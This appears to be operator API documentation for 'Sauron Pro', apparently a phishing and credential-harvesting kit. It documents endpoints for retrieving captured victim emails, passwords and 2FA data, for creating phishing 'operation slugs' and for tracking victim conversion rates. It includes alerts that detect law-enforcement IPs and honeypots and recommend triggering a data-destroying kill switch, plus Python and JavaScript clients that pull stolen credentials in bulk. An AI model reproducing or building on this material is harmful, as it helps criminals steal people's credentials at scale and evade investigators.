Sauron Pro uses a sophisticated Firestore-witnessed authentication system with time-limited cryptographic proofs. This provides enhanced security by ensuring admin credentials are never transmitted over the network.
// Step 1: Generate Authentication Proof GET /api/auth/proof Response: { "success": true, "requestId": "a35905f9c363f8be3e297a5b59d8cf29", "validUntil": "2025-08-21T00:02:56.000Z", "signature": "3e69289a81eb9ef8774df5a5bfdef287ff8549c57614a5a3afd1a85dd4e17487", "usage": { "headers": { "X-Request-ID": "a35905f9c363f8be3e297a5b59d8cf29", "X-Valid-Until": "1755734576000" } } } // Step 2: Use Authentication Headers GET /admin/metrics X-Request-ID: a35905f9c363f8be3e297a5b59d8cf29 X-Valid-Until: 1755734576000 Content-Type: application/json
Security Benefits: No credentials transmitted, 24-hour expiration, cryptographic signatures, replay protection
Receive and execute commands from fleet master
POST /vps/command Content-Type: application/json { "command": "status" } Response: { "status": "active", "uptime": "running", "version": "v2.1.0" }
⚠️ Emergency kill switch endpoint for VPS agents
POST /vps/killswitch X-Request-ID: a35905f9c363f8be3e297a5b59d8cf29 X-Valid-Until: 1755734576000 Content-Type: application/json { "destruction_level": 3, "reason": "Emergency activation" } Response: { "success": true, "vps_id": "vps-abc123", "stage": "RECEIVED", "message": "Kill switch command received", "timestamp": "2024-01-15T10:30:00Z" }
⚠️ WARNING: This endpoint triggers immediate system destruction.
Customer behavior and success metrics across fleet
GET /api/metrics/customer?hours=24 Response: { "timeframe_hours": 24, "cutoff_time": "2024-01-14T10:30:00Z", "summary": { "total_customers": 150, "active_sessions": 23, "conversion_rate": 0.18, "high_risk_count": 5 }, "alerts": [ { "type": "critical_victim", "email": "admin@government.gov", "risk_score": 95, "message": "Critical risk victim detected - possible law enforcement" } ] }
Link performance analytics and optimization data
GET /api/metrics/links Response: { "success": true, "link_performance": { "total_links": 25, "active_links": 18, "avg_click_rate": 0.23, "top_performing": [ { "slug": "customer123", "clicks": 150, "conversions": 45, "conversion_rate": 0.30 } ] }, "geographic_distribution": { "US": 120, "UK": 45, "CA": 30 } }
Real-time security alerts and threat detection
GET /api/security/alerts Response: { "success": true, "alerts": [ { "id": "alert_789", "type": "law_enforcement_ip", "severity": "critical", "email": "detective@police.gov", "message": "Law enforcement IP range detected", "timestamp": "2024-01-15T10:25:00Z", "source_ip": "192.168.100.50", "recommended_action": "immediate_killswitch" }, { "id": "alert_790", "type": "honeypot_detection", "severity": "high", "message": "Honeypot interaction detected", "timestamp": "2024-01-15T10:20:00Z" } ], "alert_counts": { "critical": 1, "high": 3, "medium": 8, "low": 12 } }
Retrieve all captured credentials
limit
- Max results (default: 100)offset
- Skip records (default: 0)since
- ISO timestamp filterslug
- Filter by operation slugid
- Unique identifieremail
- Captured emailpassword
- Captured passwordip
- Source IP addressuser_agent
- Browser infolocation
- Geographic datatimestamp
- Capture timeGET /api/credentials?limit=10&since=2024-01-01T00:00:00Z Response: { "success": true, "data": [ { "id": "cred_123", "email": "user@company.com", "password": "password123", "ip": "192.168.1.100", "user_agent": "Mozilla/5.0...", "location": { "country": "United States", "region": "California", "city": "San Francisco", "coordinates": [37.7749, -122.4194] }, "timestamp": "2024-01-01T12:00:00Z", "slug": "customer123" } ], "total": 1, "has_more": false }
Retrieve active user sessions
GET /api/sessions Response: { "success": true, "data": [ { "id": "sess_789", "ip": "192.168.1.100", "user_agent": "Mozilla/5.0...", "location": { "country": "United States", "city": "San Francisco" }, "created_at": "2024-01-01T12:00:00Z", "last_activity": "2024-01-01T12:30:00Z", "status": "active", "pages_visited": 5 } ] }
Get aggregated visit statistics
GET /api/visits/stats?period=24h Response: { "success": true, "data": { "total_visits": 150, "unique_visitors": 87, "conversion_rate": 0.23, "top_countries": [ {"country": "United States", "visits": 45}, {"country": "United Kingdom", "visits": 23} ], "hourly_breakdown": [ {"hour": "00:00", "visits": 5}, {"hour": "01:00", "visits": 12} ] } }
Create a new operation slug
POST /api/slugs Content-Type: application/json { "slug": "customer123", "description": "Q1 Security Assessment", "user_id": "usr_456", "redirect_url": "https://intranet.company.com", "capture_passwords": true, "capture_2fa": false, "active": true } Response: { "success": true, "data": { "slug": "customer123", "user_id": "usr_456", "url": "https://your-domain.com/customer123", "created_at": "2024-01-01T12:00:00Z", "status": "active" } }
List all operation slugs
GET /api/slugs Response: { "success": true, "data": [ { "slug": "customer123", "user_id": "usr_456", "status": "active", "created_at": "2024-01-01T12:00:00Z", "stats": { "visits": 45, "captures": 12, "conversion_rate": 0.27 } } ] }
Update an existing operation slug
PUT /api/slugs/customer123 Content-Type: application/json { "description": "Q1 Security Assessment - Updated", "active": false } Response: { "success": true, "message": "Slug updated successfully" }
Get system health and status
GET /api/system/status Response: { "success": true, "data": { "status": "healthy", "uptime": 86400, "version": "1.0.0", "ssl_status": "valid", "ssl_expires": "2024-04-01T00:00:00Z", "database": { "status": "connected", "records": 1250 }, "telegram": { "status": "connected", "bot_username": "@your_bot" } } }
Get current system configuration
GET /api/system/config Response: { "success": true, "data": { "domain": "your-domain.com", "admin_panel_enabled": true, "telegram_enabled": true, "logging_level": "info", "features": { "2fa_capture": true, "geolocation": true, "session_tracking": true } } }
Retrieve system logs
type
- Log type (system, bot, emits)level
- Log level (debug, info, error)limit
- Max lines (default: 100)since
- ISO timestamp filtersystem
- Main application logsbot
- Telegram bot logsemits
- Event emission logsGET /api/system/logs?type=system&level=info&limit=50 Response: { "success": true, "data": { "logs": [ { "timestamp": "2024-01-01T12:00:00Z", "level": "info", "message": "Server started on port 443", "component": "server" }, { "timestamp": "2024-01-01T12:01:00Z", "level": "info", "message": "SSL certificate loaded successfully", "component": "tls" } ], "total": 2 } }
Invalid request parameters or malformed JSON
Missing or invalid authentication token
Requested resource does not exist
Server error - check system logs
{ "success": false, "error": { "code": "INVALID_CREDENTIALS", "message": "Invalid username or password", "details": "Authentication failed for user 'admin'" } }
X-RateLimit-Limit
- Max requestsX-RateLimit-Remaining
- RemainingX-RateLimit-Reset
- Reset timestamp429 Too Many Requests: Wait for the reset time before making additional requests.
import requests class SauronAPI: def __init__(self, base_url, username, password): self.base_url = base_url self.token = None self.login(username, password) def login(self, username, password): response = requests.post( f"{self.base_url}/api/auth/login", json={"username": username, "password": password} ) self.token = response.json()["token"] def get_credentials(self, limit=100): headers = {"Authorization": f"Bearer {self.token}"} response = requests.get( f"{self.base_url}/api/credentials?limit={limit}", headers=headers ) return response.json()["data"] # Usage api = SauronAPI("https://your-domain.com", "admin", "password") credentials = api.get_credentials(limit=50) print(f"Retrieved {len(credentials)} credentials")
class SauronAPI { constructor(baseUrl, username, password) { this.baseUrl = baseUrl; this.token = null; this.login(username, password); } async login(username, password) { const response = await fetch(`${this.baseUrl}/api/auth/login`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }) }); const data = await response.json(); this.token = data.token; } async getCredentials(limit = 100) { const response = await fetch( `${this.baseUrl}/api/credentials?limit=${limit}`, { headers: { 'Authorization': `Bearer ${this.token}` } } ); const data = await response.json(); return data.data; } } // Usage const api = new SauronAPI('https://your-domain.com', 'admin', 'password'); const credentials = await api.getCredentials(50); console.log(`Retrieved ${credentials.length} credentials`);